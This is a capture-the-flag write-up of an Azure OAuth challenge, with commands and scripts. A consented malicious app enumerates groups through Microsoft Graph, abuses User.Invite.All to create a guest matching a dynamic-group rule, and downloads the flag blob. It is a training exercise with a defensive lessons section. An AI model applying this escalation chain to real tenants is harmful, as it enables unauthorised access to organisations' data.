Loading...

Azure OAuth CTF Challenge: "Breaking The Barriers" - Complete Technical Writeup

Challenge Overview

The "Breaking The Barriers" CTF challenge from the Cloud Security Championship simulates an Azure OAuth privilege escalation scenario where we start with a malicious OAuth application that has already been consented into the victim tenant.

Environment Setup

Initial Credentials

The challenge environment provided these variables:

AZURE_CLIENT_ID=f83cb3d7-47de-4154-be65-c85d697cdfd3
AZURE_CLIENT_SECRET=yx68Q~II...
AZURE_TENANT_ID=967a4bc4-782a-492d-a5d5-afe8a7550b5f

Target victim tenant: azurectfchallengegame.com (tenant ID: d26f353d-c564-48e7-b26f-aa48c6eecd58)

Step 1: Service Principal Authentication

Login to Victim Tenant

az login --service-principal \
  --username $AZURE_CLIENT_ID \
  --password $AZURE_CLIENT_SECRET \
  --tenant azurectfchallengegame.com \
  --allow-no-subscriptions

Expected Output:

[
  {
    "cloudName": "AzureCloud",
    "id": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
    "isDefault": true,
    "name": "N/A(tenant level account)",
    "state": "Enabled",
    "tenantId": "d26f353d-c564-48e7-b26f-aa48c6eecd58",
    "user": {
      "name": "f83cb3d7-47de-4154-be65-c85d697cdfd3",
      "type": "servicePrincipal"
    }
  }
]

Obtain Microsoft Graph Token

ACCESS_TOKEN=$(az account get-access-token --resource https://graph.microsoft.com --query accessToken -o tsv)
echo "[+] Token acquired: ${ACCESS_TOKEN:0:50}..."

Step 2: Token Analysis and Permission Discovery

Decode JWT Token

python3 -c "
import json
import base64

token = '$ACCESS_TOKEN'
parts = token.split('.')

def add_padding(data):
    missing_padding = len(data) % 4
    if missing_padding:
        data += '=' * (4 - missing_padding)
    return data

payload_decoded = base64.urlsafe_b64decode(add_padding(parts[1]))
payload_json = json.loads(payload_decoded)

print(f'[+] App Display Name: {payload_json.get(\"app_displayname\")}')
print(f'[+] App ID: {payload_json.get(\"appid\")}')
print(f'[+] Tenant ID: {payload_json.get(\"tid\")}')
print(f'[+] Roles: {payload_json.get(\"roles\")}')
"

Expected Output:

[+] App Display Name: malicious-oauth-app
[+] App ID: f83cb3d7-47de-4154-be65-c85d697cdfd3
[+] Tenant ID: d26f353d-c564-48e7-b26f-aa48c6eecd58
[+] Roles: ['Group.Read.All', 'User.Invite.All']

Step 3: Directory Enumeration

Enumerate Groups via Microsoft Graph API

python3 -c "
import requests
import json

token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}'}

print('[*] Enumerating groups...')
url = 'https://graph.microsoft.com/v1.0/groups'
r = requests.get(url, headers=headers)

if r.status_code == 200:
    groups = r.json()
    print(f'[+] Found {len(groups.get(\"value\", []))} groups')
    
    for group in groups.get('value', []):
        display_name = group.get('displayName', 'Unknown')
        group_id = group.get('id', 'Unknown')
        print(f'  - {display_name}: {group_id}')
        
        # Look for flag-related groups
        if 'flag' in display_name.lower():
            print(f'[!] FLAG-RELATED GROUP FOUND: {display_name}')
            print(f'    ID: {group_id}')
else:
    print(f'[-] Error: {r.status_code} - {r.text}')
"

Key Discovery:

[!] FLAG-RELATED GROUP FOUND: Users assigned access to flag
    ID: 7d060bb7-75e4-456e-b46f-382f4ff0c4fd

Examine Flag Group Details

python3 -c "
import requests

token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}'}

group_id = '7d060bb7-75e4-456e-b46f-382f4ff0c4fd'

print('[*] Getting detailed group information...')
url = f'https://graph.microsoft.com/v1.0/groups/{group_id}'
r = requests.get(url, headers=headers)

if r.status_code == 200:
    group_data = r.json()
    print(f'[+] Group: {group_data[\"displayName\"]}')
    print(f'[+] Description: {group_data[\"description\"]}')
    print(f'[+] Group Types: {group_data[\"groupTypes\"]}')
    print(f'[+] Membership Rule: {group_data[\"membershipRule\"]}')
    print(f'[+] Rule Processing: {group_data[\"membershipRuleProcessingState\"]}')
else:
    print(f'[-] Error: {r.status_code} - {r.text}')
"

Critical Output:

[+] Group: Users assigned access to flag
[+] Description: Users assigned access to flag
[+] Group Types: ['DynamicMembership']
[+] Membership Rule: (user.department -eq "Finance") and (user.jobTitle -eq "Manager") or (user.displayName -startsWith "CTF") and (user.userType -eq "Guest") or (user.city -eq "Seattle")
[+] Rule Processing: On

Step 4: Failed Direct Access Attempts

Multiple direct access attempts were made:

  • Direct Service Principal Access: 403 Forbidden
  • Direct Blob Access: Access Denied
  • Token for CTF App: 400 - Resource not found

Step 5: Guest User Invitation Strategy

Analysis of Dynamic Membership Rule

The membership rule revealed our attack path:

(user.displayName -startsWith "CTF") and (user.userType -eq "Guest")

This means any guest user whose display name starts with "CTF" will automatically join the flag group.

Guest User Invitation

python3 -c "
import requests
import json

token = '$ACCESS_TOKEN'
headers = {'Authorization': f'Bearer {token}', 'Content-Type': 'application/json'}

invitation = {
    'invitedUserEmailAddress': 'ctfhunter2@your-own-domain.com',
    'inviteRedirectUrl': 'https://portal.azure.com',
    'displayName': 'CTF Hunter 2'
}

r = requests.post('https://graph.microsoft.com/v1.0/invitations', headers=headers, data=json.dumps(invitation))
print(f'Status: {r.status_code}')
if r.status_code == 201:
    data = r.json()
    print(f'Redeem URL: {data[\"inviteRedeemUrl\"]}')
    print('*** Check your email for the invitation ***')
else:
    print(f'Error: {r.text}')
"

Successful Output:

Status: 201
Redeem URL: https://login.microsoftonline.com/redeem?rd=https%3a%2f%2finvitations.microsoft.com%2fredeem%2f%3ftenant%3dd26f353d-c564-48e7-b26f-aa48c6eecd58%26user%3dd5dae785-8d41-4c6c-9269-b1b1c645d357%26ticket%3d4xcaYOJVlG9gkYSD6CaGHHgvpdPRqo2aZkMNjSISpW8%25253d%26ver%3d2.0

Step 6: Guest User Activation

Redeeming the Invitation

  1. Navigate to the redeem URL from the API response
  2. Complete the invitation redemption process
  3. The guest account becomes active in the victim tenant

Step 7: Authentication Switch

Logout from Service Principal

az logout

Login as Guest User

az login --tenant d26f353d-c564-48e7-b26f-aa48c6eecd58 --use-device-code

Process:

  1. CLI displays a device code
  2. Navigate to https://microsoft.com/devicelogin
  3. Enter the device code
  4. Authenticate with the guest account credentials

Step 8: Flag Retrieval

Discover the Flag Application and File Name

Access the MyApps portal to find the CTF Challenge Flag application:

# Navigate to MyApps portal as the guest user
# https://myapps.microsoft.com?tenantid=d26f353d-c564-48e7-b26f-aa48c6eecd58

In the portal, you'll see the "CTF Challenge Flag" application. Clicking it reveals the blob storage URL:

https://azurechallengectfflag.blob.core.windows.net/grab-the-flag/ctf_flag.txt

This shows us:

  • Storage account: azurechallengectfflag
  • Container: grab-the-flag
  • File name: ctf_flag.txt

Download the Flag

az storage blob download \
  --account-name azurechallengectfflag \
  --container-name grab-the-flag \
  --name ctf_flag.txt \
  --file "ctf_flag.txt" \
  --auth-mode login

View the Flag

cat ctf_flag.txt

Attack Chain Summary

  1. Service Principal Authentication → Gain foothold in victim tenant
  2. Permission Discovery → Identify Group.Read.All and User.Invite.All permissions
  3. Directory Enumeration → Find dynamic group with CTF membership rule
  4. Guest User Invitation → Exploit User.Invite.All to create qualifying user
  5. Invitation Redemption → Activate guest account in victim tenant
  6. Authentication Switch → Login as guest user with group membership
  7. Resource Access → Download flag using group-based permissions

Security Implications

  • Dynamic group membership rules can create unintended privilege escalation paths
  • User.Invite.All permission combined with predictable membership rules is dangerous
  • Guest user access should be carefully monitored and restricted
  • OAuth app permissions require thorough security review before consent

Addendum: Dead Ends and Failed Approaches

This CTF challenge involved approximately 8-10 hours of dead ends before finding the correct solution. Below are the major failed approaches that consumed significant time:

The MELOAD/MELODAD Decoding Rabbit Hole (3-4 hours)

We discovered user GUIDs in the flag group could be mapped to an alphabet pattern, forming the sequence MELODADAKHGFAIBDLMDED@FFCAMFLALFOCECBEAFIOLHLJGBBALKLJF@BIMG@GKAMJFIAFJMDG@@MHJ@GOFONELILIJIMBOOIGGKCNIOOO@N@M@LKH@@EBDEFNGLE. Multiple decoding attempts were made including:

  • Base64 decoding with @ symbols replaced
  • Caesar ciphers, Atbash, Vigenère analysis
  • Binary/hex/ASCII conversions
  • Grid transpositions and pattern analysis

Result: Complete waste of time - this was a coincidental pattern, not an intended part of the solution.

Assignment ID Decoding Obsession (2 hours)

Attempted to decode the app role assignment ID twsGfeR1bkW0bzgvT_DE_V5Q7va9YiVJhNbO-CHOKZM through:

  • Base64 URL-safe decoding
  • XOR operations with resource IDs
  • ASCII interpretation attempts

Result: Assignment IDs are just Azure-generated UUIDs, not data containers.

Web Application Exploitation Attempts (1-2 hours)

Tried various web app attack vectors:

  • ReCAPTCHA bypass with test keys and skipRecaptcha parameters
  • Endpoint discovery (/admin, /api, /oauth, etc.)
  • Authentication bypass attempts

Result: The web app was heavily protected and not the intended attack vector.

Direct Service Principal Access (1 hour)

Attempted direct access to the CTF Challenge Flag service principal:

# Direct Graph API access - 403 Forbidden
GET https://graph.microsoft.com/v1.0/servicePrincipals/{ctf_app_id}

# Token generation attempts - 400 Resource not found
scope: {ctf_app_id}/.default

Result: Required specific group membership for access.

Other Failed Approaches

  • JWT Token Claim Analysis (30 min): Analyzed xms_ftd and other claims for hidden flags
  • User Enumeration (45 min): Attempted to list users without User.Read.All permission
  • Alternative App Registration Search (30 min): Searched for similar GUIDs and hybrid combinations
  • Custom Security Attributes (20 min): Checked for flags in group metadata and extensions
  • Email Delivery Troubleshooting (45 min): Struggled with invitation email delivery issues

Key Lessons from Dead Ends

  1. Read the hints literally: "Groups open doors. This one opens an app" directly pointed to group membership requirements
  2. Follow the permissions: Focus on what Group.Read.All and User.Invite.All can actually accomplish
  3. Don't overthink encoding: Most "encoded" strings in Azure are just random identifiers
  4. Authentication context matters: The solution required switching from service principal to guest user
  5. Check application portals: MyApps portal was key to finding the flag location

Time Breakdown of Failed Approaches

Failed Approach Time Spent Key Lesson
MELOAD pattern decoding 3-4 hours Don't chase elaborate encoding schemes
Assignment ID analysis 2 hours UUIDs are just identifiers
Web app exploitation 1-2 hours Focus on the intended attack vector
Direct service principal access 1 hour Follow proper authentication flows
JWT claim analysis 30 minutes Standard claims rarely contain flags
User enumeration 45 minutes Respect permission boundaries
Email troubleshooting 45 minutes Use API responses over email delivery

Total time wasted on dead ends: ~8-10 hours

The actual solution was relatively straightforward once we focused on the correct approach. The lesson: in CTF challenges, the most complex-looking approach is often the wrong one. Focus on what your current permissions allow you to do, and follow the hints literally rather than looking for hidden meanings.